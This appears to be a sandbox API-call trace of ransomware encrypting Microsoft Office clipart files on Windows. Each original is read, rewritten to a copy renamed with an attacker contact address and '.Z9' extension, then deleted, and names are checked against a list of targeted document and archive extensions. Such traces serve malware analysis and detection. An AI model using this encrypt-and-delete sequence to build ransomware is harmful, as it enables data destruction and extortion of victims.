	[0166.057] GetLastError () returned 0x0
	[0166.057] ReadFile (in: hFile=0x4cc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1815, lpOverlapped=0x0) returned 1
	[0166.059] WriteFile (in: hFile=0x3e0, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1820, lpOverlapped=0x0) returned 1
	[0166.063] ReadFile (in: hFile=0x4cc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.063] WriteFile (in: hFile=0x3e0, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xea, lpOverlapped=0x0) returned 1
	[0166.063] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.063] CloseHandle (hObject=0x3e0) returned 1
	[0166.063] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.063] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.067] CloseHandle (hObject=0x4cc) returned 1
	[0166.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1
	[0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.068] lstrlenW (lpString=".doc") returned 4
	[0166.068] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.068] lstrlenW (lpString=".docx") returned 5
	[0166.068] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.068] lstrlenW (lpString=".pdf") returned 4
	[0166.068] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.068] lstrlenW (lpString=".xls") returned 4
	[0166.069] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.069] lstrlenW (lpString=".xlsx") returned 5
	[0166.069] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.069] lstrlenW (lpString=".ppt") returned 4
	[0166.069] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.069] lstrlenW (lpString=".zip") returned 4
	[0166.069] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.069] lstrlenW (lpString=".rar") returned 4
	[0166.069] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.069] lstrlenW (lpString=".bz2") returned 4
	[0166.069] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.069] lstrlenW (lpString=".7z") returned 3
	[0166.069] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.069] lstrlenW (lpString=".dbf") returned 4
	[0166.069] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.069] lstrlenW (lpString=".1cd") returned 4
	[0166.069] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.069] lstrlenW (lpString=".jpg") returned 4
	[0166.069] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.069] lstrlenW (lpString=".doc") returned 4
	[0166.069] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.069] lstrlenW (lpString=".docx") returned 5
	[0166.069] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.069] lstrlenW (lpString=".pdf") returned 4
	[0166.069] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.069] lstrlenW (lpString=".xls") returned 4
	[0166.070] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.070] lstrlenW (lpString=".xlsx") returned 5
	[0166.070] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.070] lstrlenW (lpString=".ppt") returned 4
	[0166.070] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.070] lstrlenW (lpString=".zip") returned 4
	[0166.070] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.070] lstrlenW (lpString=".rar") returned 4
	[0166.070] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.070] lstrlenW (lpString=".bz2") returned 4
	[0166.070] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.070] lstrlenW (lpString=".7z") returned 3
	[0166.070] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.070] lstrlenW (lpString=".dbf") returned 4
	[0166.070] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.070] lstrlenW (lpString=".1cd") returned 4
	[0166.070] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0166.070] lstrlenW (lpString=".jpg") returned 4
	[0166.070] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.070] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.070] lstrlenW (lpString="JAVA_01.MID") returned 11
	[0166.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.072] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=9797) returned 1
	[0166.072] CloseHandle (hObject=0x4cc) returned 1
	[0166.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220
	[0166.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.072] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.073] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.073] GetLastError () returned 0x0
	[0166.073] ReadFile (in: hFile=0x4cc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2645, lpOverlapped=0x0) returned 1
	[0166.075] WriteFile (in: hFile=0x3e0, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2650, lpOverlapped=0x0) returned 1
	[0166.076] ReadFile (in: hFile=0x4cc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.076] WriteFile (in: hFile=0x3e0, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xea, lpOverlapped=0x0) returned 1
	[0166.077] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.077] CloseHandle (hObject=0x3e0) returned 1
	[0166.077] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.077] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.080] CloseHandle (hObject=0x4cc) returned 1
	[0166.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1
	[0166.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.081] lstrlenW (lpString=".doc") returned 4
	[0166.081] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.081] lstrlenW (lpString=".docx") returned 5
	[0166.081] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.081] lstrlenW (lpString=".pdf") returned 4
	[0166.081] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.081] lstrlenW (lpString=".xls") returned 4
	[0166.081] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.081] lstrlenW (lpString=".xlsx") returned 5
	[0166.082] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.082] lstrlenW (lpString=".ppt") returned 4
	[0166.082] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.082] lstrlenW (lpString=".zip") returned 4
	[0166.082] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.082] lstrlenW (lpString=".rar") returned 4
	[0166.082] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.082] lstrlenW (lpString=".bz2") returned 4
	[0166.082] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.082] lstrlenW (lpString=".7z") returned 3
	[0166.082] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.082] lstrlenW (lpString=".dbf") returned 4
	[0166.082] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.082] lstrlenW (lpString=".1cd") returned 4
	[0166.082] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.082] lstrlenW (lpString=".jpg") returned 4
	[0166.082] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.082] lstrlenW (lpString=".doc") returned 4
	[0166.082] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.082] lstrlenW (lpString=".docx") returned 5
	[0166.082] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.082] lstrlenW (lpString=".pdf") returned 4
	[0166.082] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.082] lstrlenW (lpString=".xls") returned 4
	[0166.082] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.083] lstrlenW (lpString=".xlsx") returned 5
	[0166.083] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.083] lstrlenW (lpString=".ppt") returned 4
	[0166.083] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.083] lstrlenW (lpString=".zip") returned 4
	[0166.083] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.083] lstrlenW (lpString=".rar") returned 4
	[0166.083] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.083] lstrlenW (lpString=".bz2") returned 4
	[0166.083] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.083] lstrlenW (lpString=".7z") returned 3
	[0166.083] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.083] lstrlenW (lpString=".dbf") returned 4
	[0166.083] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.083] lstrlenW (lpString=".1cd") returned 4
	[0166.083] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0166.083] lstrlenW (lpString=".jpg") returned 4
	[0166.083] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.083] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.083] lstrlenW (lpString="JNGLE_01.MID") returned 12
	[0166.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.084] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=5843) returned 1
	[0166.084] CloseHandle (hObject=0x4cc) returned 1
	[0166.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220
	[0166.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.085] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.085] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.085] GetLastError () returned 0x0
	[0166.085] ReadFile (in: hFile=0x4cc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x16d3, lpOverlapped=0x0) returned 1
	[0166.087] WriteFile (in: hFile=0x3e0, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x16e0, lpOverlapped=0x0) returned 1
	[0166.088] ReadFile (in: hFile=0x4cc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.088] WriteFile (in: hFile=0x3e0, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.088] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.089] CloseHandle (hObject=0x3e0) returned 1
	[0166.089] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.089] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.201] CloseHandle (hObject=0x4cc) returned 1
	[0166.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1
	[0166.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.802] lstrlenW (lpString=".doc") returned 4
	[0166.805] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.806] lstrlenW (lpString=".docx") returned 5
	[0166.806] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.806] lstrlenW (lpString=".pdf") returned 4
	[0166.806] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.806] lstrlenW (lpString=".xls") returned 4
	[0166.806] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.806] lstrlenW (lpString=".xlsx") returned 5
	[0166.806] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.806] lstrlenW (lpString=".ppt") returned 4
	[0166.806] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.806] lstrlenW (lpString=".zip") returned 4
	[0166.806] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.806] lstrlenW (lpString=".rar") returned 4
	[0166.806] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.806] lstrlenW (lpString=".bz2") returned 4
	[0166.806] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.806] lstrlenW (lpString=".7z") returned 3
	[0166.806] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.806] lstrlenW (lpString=".dbf") returned 4
	[0166.806] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.806] lstrlenW (lpString=".1cd") returned 4
	[0166.806] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.806] lstrlenW (lpString=".jpg") returned 4
	[0166.806] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.807] lstrlenW (lpString=".doc") returned 4
	[0166.807] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.807] lstrlenW (lpString=".docx") returned 5
	[0166.807] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.807] lstrlenW (lpString=".pdf") returned 4
	[0166.807] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.807] lstrlenW (lpString=".xls") returned 4
	[0166.807] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.807] lstrlenW (lpString=".xlsx") returned 5
	[0166.807] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.807] lstrlenW (lpString=".ppt") returned 4
	[0166.807] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.807] lstrlenW (lpString=".zip") returned 4
	[0166.807] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.807] lstrlenW (lpString=".rar") returned 4
	[0166.807] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.807] lstrlenW (lpString=".bz2") returned 4
	[0166.807] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.807] lstrlenW (lpString=".7z") returned 3
	[0166.807] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.807] lstrlenW (lpString=".dbf") returned 4
	[0166.807] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.807] lstrlenW (lpString=".1cd") returned 4
	[0166.807] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0166.807] lstrlenW (lpString=".jpg") returned 4
	[0166.807] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.808] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.808] lstrlenW (lpString="PARNT_02.MID") returned 12
	[0166.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.809] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=5714) returned 1
	[0166.809] CloseHandle (hObject=0x47c) returned 1
	[0166.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220
	[0166.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.810] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.810] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.810] GetLastError () returned 0x0
